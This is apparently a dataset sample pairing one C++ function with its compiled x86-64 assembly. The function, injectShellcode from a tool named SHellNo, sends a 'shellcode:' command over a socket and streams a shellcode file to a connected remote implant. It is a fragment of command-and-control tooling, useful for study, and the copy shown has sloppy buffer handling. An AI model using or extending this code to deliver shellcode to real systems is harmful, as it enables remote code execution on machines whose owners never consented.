// File: JohnWoodman[P]SHellNo/listener.cpp
// Function: listener::injectShellcode(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>)
int listener::injectShellcode(string l_path) {
	printf("Injecting Shellcode...\n");
	std::streampos filesize = 0;
	ifstream in(l_path, std::ios::binary);
	char* sendbuf = new char[1024];
	int sendbuflen = 1024;
	memset(sendbuf, '\0', sendbuflen);
	
	string cmd = "shellcode:";
	send(new_fd, cmd.c_str(), cmd.length(), 0);

	while (in.is_open()) {
		printf("File is open\n");
		in.read(sendbuf, sendbuflen);
		if (in.eof()) {
			printf("End of file\n");
			send(new_fd, sendbuf, sendbuflen, 0);
			memset(sendbuf, '\0', sendbuflen);
			in.close();
		} else {
			printf("Sending file\n");
			send(new_fd, sendbuf, sendbuflen, 0);
			memset(sendbuf, '\0', sendbuflen);
		}
	}
	printf("Finished Uploading Shellcode!\n");
	return 0;
}

// Assembly:
pushq %rbp
movq %rsp, %rbp
subq $0x2b0, %rsp            # imm = 0x2B0
movq %rsi, -0x278(%rbp)
movq %rdi, -0x8(%rbp)
movq %rsi, -0x10(%rbp)
movq -0x8(%rbp), %rax
movq %rax, -0x288(%rbp)
leaq 0x4402(%rip), %rdi      # 0x3528e
xorl %eax, %eax
movl %eax, -0x27c(%rbp)
callq 0x6090
movl -0x27c(%rbp), %eax
movl %eax, %esi
leaq -0x20(%rbp), %rdi
callq 0x31760
movq -0x278(%rbp), %rsi
leaq -0x228(%rbp), %rdi
movl $0x4, %edx
callq 0x6790
movl $0x400, %edi            # imm = 0x400
callq 0x6040
movq %rax, -0x270(%rbp)
jmp 0x30ed5
movq -0x270(%rbp), %rax
movq %rax, -0x230(%rbp)
movl $0x400, -0x240(%rbp)    # imm = 0x400
movq -0x230(%rbp), %rdi
movslq -0x240(%rbp), %rdx
xorl %esi, %esi
callq 0x62c0
leaq -0x261(%rbp), %rdi
movq %rdi, -0x290(%rbp)
callq 0x6860
movq -0x290(%rbp), %rdx
leaq 0x4383(%rip), %rsi      # 0x352a6
leaq -0x260(%rbp), %rdi
callq 0x317a0
jmp 0x30f31
leaq -0x261(%rbp), %rdi
callq 0x6520
movq -0x288(%rbp), %rax
movl 0x14(%rax), %eax
movl %eax, -0x29c(%rbp)
leaq -0x260(%rbp), %rdi
movq %rdi, -0x2a8(%rbp)
callq 0x6210
movq -0x2a8(%rbp), %rdi
movq %rax, -0x298(%rbp)
callq 0x6730
movl -0x29c(%rbp), %edi
movq -0x298(%rbp), %rsi
movq %rax, %rdx
xorl %ecx, %ecx
callq 0x6290
jmp 0x30f8c
jmp 0x30f8e
leaq -0x228(%rbp), %rdi
callq 0x6780
movb %al, -0x2a9(%rbp)
jmp 0x30fa2
movb -0x2a9(%rbp), %al
testb $0x1, %al
jne 0x30fb1
jmp 0x3110a
leaq 0x4298(%rip), %rdi      # 0x35250
xorl %eax, %eax
callq 0x6090
jmp 0x30fc1
movq -0x230(%rbp), %rsi
movslq -0x240(%rbp), %rdx
leaq -0x228(%rbp), %rdi
callq 0x6610
jmp 0x30fdd
movq -0x228(%rbp), %rax
movq -0x18(%rax), %rax
leaq -0x228(%rbp,%rax), %rdi
callq 0x68b0
movb %al, -0x2aa(%rbp)
jmp 0x30ffd
movb -0x2aa(%rbp), %al
testb $0x1, %al
jne 0x3100c
jmp 0x310bf
leaq 0x424b(%rip), %rdi      # 0x3525e
xorl %eax, %eax
callq 0x6090
jmp 0x3101c
movq -0x288(%rbp), %rax
movl 0x14(%rax), %edi
movq -0x230(%rbp), %rsi
movslq -0x240(%rbp), %rdx
xorl %ecx, %ecx
callq 0x6290
jmp 0x3103d
movq -0x230(%rbp), %rdi
movslq -0x240(%rbp), %rdx
xorl %esi, %esi
callq 0x62c0
leaq -0x228(%rbp), %rdi
callq 0x6100
jmp 0x31060
jmp 0x31105
movq %rax, %rcx
movl %edx, %eax
movq %rcx, -0x238(%rbp)
movl %eax, -0x23c(%rbp)
jmp 0x3113d
movq %rax, %rcx
movl %edx, %eax
movq %rcx, -0x238(%rbp)
movl %eax, -0x23c(%rbp)
leaq -0x261(%rbp), %rdi
callq 0x6520
jmp 0x3113d
movq %rax, %rcx
movl %edx, %eax
movq %rcx, -0x238(%rbp)
movl %eax, -0x23c(%rbp)
leaq -0x260(%rbp), %rdi
callq 0x6330
jmp 0x3113d
leaq 0x41a5(%rip), %rdi      # 0x3526b
xorl %eax, %eax
callq 0x6090
jmp 0x310cf
movq -0x288(%rbp), %rax
movl 0x14(%rax), %edi
movq -0x230(%rbp), %rsi
movslq -0x240(%rbp), %rdx
xorl %ecx, %ecx
callq 0x6290
jmp 0x310f0
movq -0x230(%rbp), %rdi
movslq -0x240(%rbp), %rdx
xorl %esi, %esi
callq 0x62c0
jmp 0x30f8e
leaq 0x41a0(%rip), %rdi      # 0x352b1
xorl %eax, %eax
callq 0x6090
jmp 0x3111a
leaq -0x260(%rbp), %rdi
callq 0x6330
leaq -0x228(%rbp), %rdi
callq 0x6140
xorl %eax, %eax
addq $0x2b0, %rsp            # imm = 0x2B0
popq %rbp
retq
leaq -0x228(%rbp), %rdi
callq 0x6140
movq -0x238(%rbp), %rdi
callq 0x6850
nopw %cs:(%rax,%rax)